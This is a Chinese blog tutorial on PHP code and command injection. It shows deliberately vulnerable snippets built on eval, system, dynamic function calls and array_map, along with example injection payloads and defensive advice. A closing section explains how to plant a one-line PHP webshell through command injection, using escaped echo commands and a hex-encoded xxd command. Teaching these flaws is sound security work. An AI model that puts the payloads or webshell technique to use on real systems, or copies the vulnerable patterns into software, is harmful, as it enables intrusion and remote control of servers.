您的位置:首页 > 编程语言

[web安全] 代码注入(命令注入)

2015-05-14 09:59 232 查看
部分Web应用程序提供了一些命令执行的操作,例如,如果想测试http://www.example.com是否可以正常连接,那么Web应用程序底层就很可能去调用系统操作命令,如果此处没有过滤好用户输入的数据,就很有可能形成系统命令执行漏洞。



漏洞利用执行net user指令



命令连接符总结:

command1 && command2 先执行command1后执行command2

command1 | command2 只执行command2

command1 & command2 先执行command2后执行command1

以上三种连接符在windows和linux环境下都支持

一、代码注入

eval()函数可以把字符串按照PHP代码来执行,换句话说,就是可以动态地执行PHP代码,使用eval函数需要注意的是:输入的字符串必须是合法的PHP代码,且必须以分号结尾。

<?php
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = $x;");
?>


攻击者可以通过如下Payload实施代码注入:

/index.php?arg=1;phpinfo()

二、命令注入

PHP提供了部分函数用来执行外部应用程序,例如:system(),shell_exec(),exec()和passthru()

<?php
$command = $_REQUEST["command"];
system($command);
?>


攻击者通过以下的payload实施攻击

vulnerable.php?command=ls

注:使用PHP.EXE传递参数时,如果有空格,一般在windows下使用双引号(""),Linux下使用单引号(')括起来,否则将无法正常执行。

三、动态函数调用

<?php
$fun = $_GET['fun'];
$par = $_GET['par'];
$fun($par);
?>
这样可以动态调用函数,但也易被黑客利用,如,http://www.example.com/funtion.php?fun=system&par=net user

最终的执行函数为 system("net user")

四、PHP函数代码执行漏洞

在PHP中,代码执行漏洞出现较多,像preg_replace(),ob_start(),array_map()等函数都存在代码执行漏洞。

<?php
$arr = $_GET['arr'];
$array = array(1,2,3,4,5);
$new_array = array_map($arr,$array);
?>
攻击者可输入如下URL:http://www.example.com/function.php?arr=phpinfo, 发现phpinfo函数被执行。

五、防范方法:

1.尽量不要使用系统执行命令;

2.在进入执行命令函数/方法之前,变量一定要做好过滤,对敏感字符进行转义;

3.在使用动态函数之前,确保使用的函数是指定的函数之一;

4.对PHP语言来说,不能完全控制的危险函数最好不要使用

后记:命令注入写webshell

利用命令注入写一句话php webshell到web目录涉及到一些特殊字符的转义,假设需要写入<?php eval($_POST[pandas]); ?>,方法如下:

WINDOWS:用^转义<,即执行echo ^<?php eval($_POST[pandas]); ?^> > web可写目录







LINUX:linux下需要用\来转义<,不过很多php都默认开启gpc。可以先用16进制转换一句话再用xxd命令把16进制还原,命令如下:

echo 3c3f706870206576616c28245f504f53545b70616e6461735d293b203f3e|xxd -r -ps > web可写目录





内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: